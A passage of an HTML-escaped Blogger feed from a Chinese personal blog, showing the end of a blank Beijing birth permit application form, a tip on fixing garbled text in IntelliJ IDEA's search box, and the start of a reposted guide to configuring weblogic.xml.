style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;/span&gt;&lt;span&gt;&amp;#160;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-size:15pt;"&gt;单位（存档单位）、村（居）委会人员，生于&lt;/span&gt;&lt;u&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-size:15pt;"&gt;年&lt;/span&gt;&lt;u&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-size:15pt;"&gt;月&lt;/span&gt;&lt;u&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-size:15pt;"&gt;日，于&lt;/span&gt;&lt;u&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-size:15pt;"&gt;年&lt;/span&gt;&lt;u&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-size:15pt;"&gt;月&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;日与&lt;/span&gt;&lt;u&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-size:15pt;"&gt;同志（男、女）结婚，我属（&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span&gt;&amp;#160;&amp;#160;&lt;/span&gt;&lt;span&gt;&amp;#160;&amp;#160;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;）&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;1&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;初婚，未生育和收（抱）养子女；&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;2&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;再婚（离婚次数&lt;/span&gt;&lt;u&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&lt;/span&gt;&lt;span&gt;&amp;#160;&amp;#160;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-size:15pt;"&gt;次），无子女，符合&lt;/span&gt;&lt;span style="font-size:15pt;"&gt; &lt;/span&gt;&lt;span style="font-size:15pt;"&gt;《北京市人口与计划生育条例》&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;生育一孩的相关规定，特提出申请，请予批准。&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&amp;#160;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;申请人：&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;年&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;月&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;日&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;/span&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;/span&gt;&lt;span&gt;&amp;#160;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;所在单位意见：&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&amp;#160;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;计生专干和负责人（签字）&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&amp;#160;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;单位（存档单位）、村（居）委会（公章）&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&amp;#160;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;联系电话&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;年&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;月&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;日&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&amp;#160;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&amp;#160;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span&gt;注：由单位或存档单位盖人事或计生章&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;&amp;#160;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-2170787975241894296?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/2170787975241894296/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/11/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2170787975241894296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2170787975241894296'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/11/blog-post.html' title='生育一孩申请书'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5071429744156016363</id><published>2009-11-09T22:45:00.000+08:00</published><updated>2010-08-13T11:22:03.815+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Myjob'/><title type='text'>Intellij IDEA 搜索框显示乱码</title><content type='html'>&lt;p&gt;弄了个windows7 英文包装上，结果发现Intellij IDEA 的搜索框中文乱码了，Ctrl+ F那个，Ctrl+ Shift+F还不是乱码好好的，在网上一搜，试了试这个，嗯，靠谱。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;进入IDE Settings 里的 Appearance项，选中Override default fonts by ，把 Name 设置为 SimSun，Size 根据自己喜好设置（我一般设为 14）。确定&lt;/p&gt;&lt;br/&gt;&lt;p&gt;参考：&lt;a href="http://gx80.javaeye.com/blog/124662"&gt;http://gx80.javaeye.com/blog/124662&lt;/a&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;哦对了，win7还是不错的，&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5071429744156016363?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5071429744156016363/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/11/intellij-idea.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5071429744156016363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5071429744156016363'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/11/intellij-idea.html' title='Intellij IDEA 搜索框显示乱码'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5142583505569148187</id><published>2009-11-05T22:08:00.000+08:00</published><updated>2010-08-13T11:22:03.824+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>J2EE For Weblogic开发中Weblogic.xml文件的配置 （转）</title><content type='html'>&lt;p&gt;&lt;a href="http://www.blogjava.net/zhhp1314520/articles/Weblogic_deploy.html"&gt;http://www.blogjava.net/zhhp1314520/articles/Weblogic_deploy.html&lt;/a&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;weblogic Server允许通过设置weblogic应用程序扩展描述符（weblogic.xml）配置jsp容器，&lt;br/&gt;该文件通常位于web应用程序的web-inf目录下。一般不通过修改weblogic文件直接配置，&lt;br/&gt;而是通过控制台配置该文件，在Deploments--&amp;gt;web Application--&amp;gt;defaultWebApp中配置。&lt;br/&gt;可在开发和生产环境中配置不同的信息。&lt;br/&gt;主要配置信息：&lt;br/&gt;compilerSupportsEncoding //true－－支持使用字符集&lt;br/&gt;encoding //指定jsp文件的默认字符集，如gb2312；&lt;br/&gt;vervose //是否将调试信息输出到浏览器和日志；&lt;br/&gt;keepgenerated //是否让编译jsp文件产生的.java文件持续存在；&lt;br/&gt;Page Check Seconds //正数－－在以秒为单位的时间间隔检查jsp文件是否发生了修改，如果是则重新编译；&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  0－－在每一个请求检查jsp;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  -1－－不对jsp文件进行检查。&lt;br/&gt;Precompile //true－－在weblogic服务器启动时自动编译所有的jsp。&lt;br/&gt;Debug Enable //true－－是否允许调试。&lt;br/&gt;&lt;br/&gt;Weblogic .xml&lt;/p&gt;&lt;br/&gt;&lt;div style="border-bottom:#cccccc 1px solid;border-left:#cccccc 1px solid;background-color:#eeeeee;width:98%;font-size:13px;border-top:#cccccc 1px solid;border-right:#cccccc 1px solid;padding:4px 5px 4px 4px;"&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;?&lt;/span&gt; &lt;span style="color:#ff00ff;"&gt;xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;GB2312&amp;quot;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;?&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt; &lt;/span&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;!&lt;/span&gt; &lt;span style="color:#ff00ff;"&gt;DOCTYPE weblogic-web-app PUBLIC &amp;quot;-//BEA Systems, Inc.//DTD Web Application 8.1//EN&amp;quot; &amp;quot;http://www.bea.com/servers/wls810/dtd/weblogic810-web-jar.dtd&amp;quot;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt; &lt;/span&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;weblogic-web-app&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#008000;"&gt;&amp;lt;!--&lt;/span&gt; &lt;span style="color:#008000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 为web.xml所定义角色赋值&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 如果是Weblogic 8.1 SP2 或者之前的版本，可以不定义security-role-assignment&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 如果是SP3，必须手工添加所有principal（角色或角色组）；&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 详细介绍请参考 PAFA3开发设计指南 文档 。&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#008000;"&gt;--&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;security-role-assignment&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#008000;"&gt;&amp;lt;!--&lt;/span&gt; &lt;span style="color:#008000;"&gt; role-name 必须跟web.xml中security-role标记下的role-name取值相同 &lt;/span&gt; &lt;span style="color:#008000;"&gt;--&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;role-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;pafaDemoUser&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;role-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#008000;"&gt;&amp;lt;!--&lt;/span&gt; &lt;span style="color:#008000;"&gt; principal-name 必须是UM中定义的角色或者角色组，不能是用户 &lt;/span&gt; &lt;span style="color:#008000;"&gt;--&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;principal-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;r_usermanager_rm_user&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;principal-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;principal-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;p_g_rmtest03_myopr&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;principal-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;principal-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;Administrators&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;principal-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;security-role-assignment&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt; &lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-descriptor&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;pageCheckSeconds&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;1&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" 